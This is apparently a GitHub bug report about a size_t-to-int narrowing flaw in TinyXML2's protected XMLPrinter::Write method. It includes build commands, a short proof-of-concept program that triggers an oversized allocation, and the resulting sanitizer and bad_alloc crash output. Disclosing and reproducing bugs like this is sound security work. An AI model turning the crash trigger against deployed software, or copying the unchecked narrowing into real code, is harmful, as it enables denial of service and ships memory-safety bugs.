-
Notifications
You must be signed in to change notification settings - Fork 1.9k
Description
Description
tinyxml2::XMLPrinter::Write(const char* data, size_t size) narrows size to int when growing the internal buffer, then copies size bytes. If size > INT_MAX, this truncation/underflow feeds an incorrect count into the growth routine while memcpy still uses the original size_t, leading to pathological allocations (OOM/std::bad_alloc, or ASan “allocation-size-too-big”). In release builds, DynArray overflow checks are assert-only, so arithmetic can wrap and exacerbate the failure mode.
Scope: Write is a protected API. TinyXML2’s public printing paths already chunk to INT_MAX, so normal use isn’t affected. The issue is relevant for subclasses (or future call sites) that invoke Write directly with large size_t values.
Impact: Reliable denial of service via OOM/bad_alloc; in theory, overflow risk in release due to unchecked growth math.
Steps to Reproduce
Build TinyXML2
Clone the repository and build with AddressSanitizer (optional but recommended to see detailed logs):
git clone https://github.com/leethomason/tinyxml2.git
cd tinyxml2
mkdir build-sani && cd build-sani
cmake -DBUILD_SHARED_LIBS=OFF -DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -fno-sanitize-recover=all -DNDEBUG" ..
cmake --build . -j
Compile the PoC
Save the following file as poc_minimal.cpp:
#include "tinyxml2.h"
using namespace tinyxml2;
struct MyPrinter : public XMLPrinter {
using XMLPrinter::Write; // expose protected method
};
int main() {
MyPrinter printer;
// Trigger with an overly large size_t allocation request
printer.Write("A", SIZE_MAX - 15);
return 0;
}Then compile it against the built library:
clang++ -g -O1 -fsanitize=address,undefined -fno-omit-frame-pointer \
../poc_minimal.cpp -I.. ./libtinyxml2.a -o poc_minimal_saniRun the PoC
./poc_minimal_saniObserved Result
With Sanitizers :
=================================================================
==9543==ERROR: AddressSanitizer: requested allocation size 0xffffffffffffffe2 (0x7e8 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
#0 0x61fd521323e1 in operator new[](unsigned long) (/home/ubuntu/tinyxml2/build-sani/poc_minimal_sani+0x1523e1) (BuildId: 9ffffbec5103cd32e7ba706e1117c66f083d32ef)
#1 0x61fd52167cba in tinyxml2::DynArray<char, 20ul>::EnsureCapacity(unsigned long) /home/ubuntu/tinyxml2/tinyxml2.h:303:25
#2 0x61fd52167cba in tinyxml2::DynArray<char, 20ul>::PushArr(unsigned long) /home/ubuntu/tinyxml2/tinyxml2.h:232:23
#3 0x61fd52157fee in tinyxml2::XMLPrinter::Write(char const*, unsigned long) /home/ubuntu/tinyxml2/tinyxml2.cpp:2638:34
#4 0x61fd521347e0 in main /home/ubuntu/tinyxml2/build-sani/../poc_minimal.cpp:11:13
#5 0x7f4e6622a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#6 0x7f4e6622a28a in __libc_start_main csu/../csu/libc-start.c:360:3
#7 0x61fd52058e54 in _start (/home/ubuntu/tinyxml2/build-sani/poc_minimal_sani+0x78e54) (BuildId: 9ffffbec5103cd32e7ba706e1117c66f083d32ef)
==9543==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big (/home/ubuntu/tinyxml2/build-sani/poc_minimal_sani+0x1523e1) (BuildId: 9ffffbec5103cd32e7ba706e1117c66f083d32ef) in operator new[](unsigned long)
==9543==ABORTING
Without Sanitizers (non-sanitized build)
terminate called after throwing an instance of 'std::bad_alloc'
what(): std::bad_alloc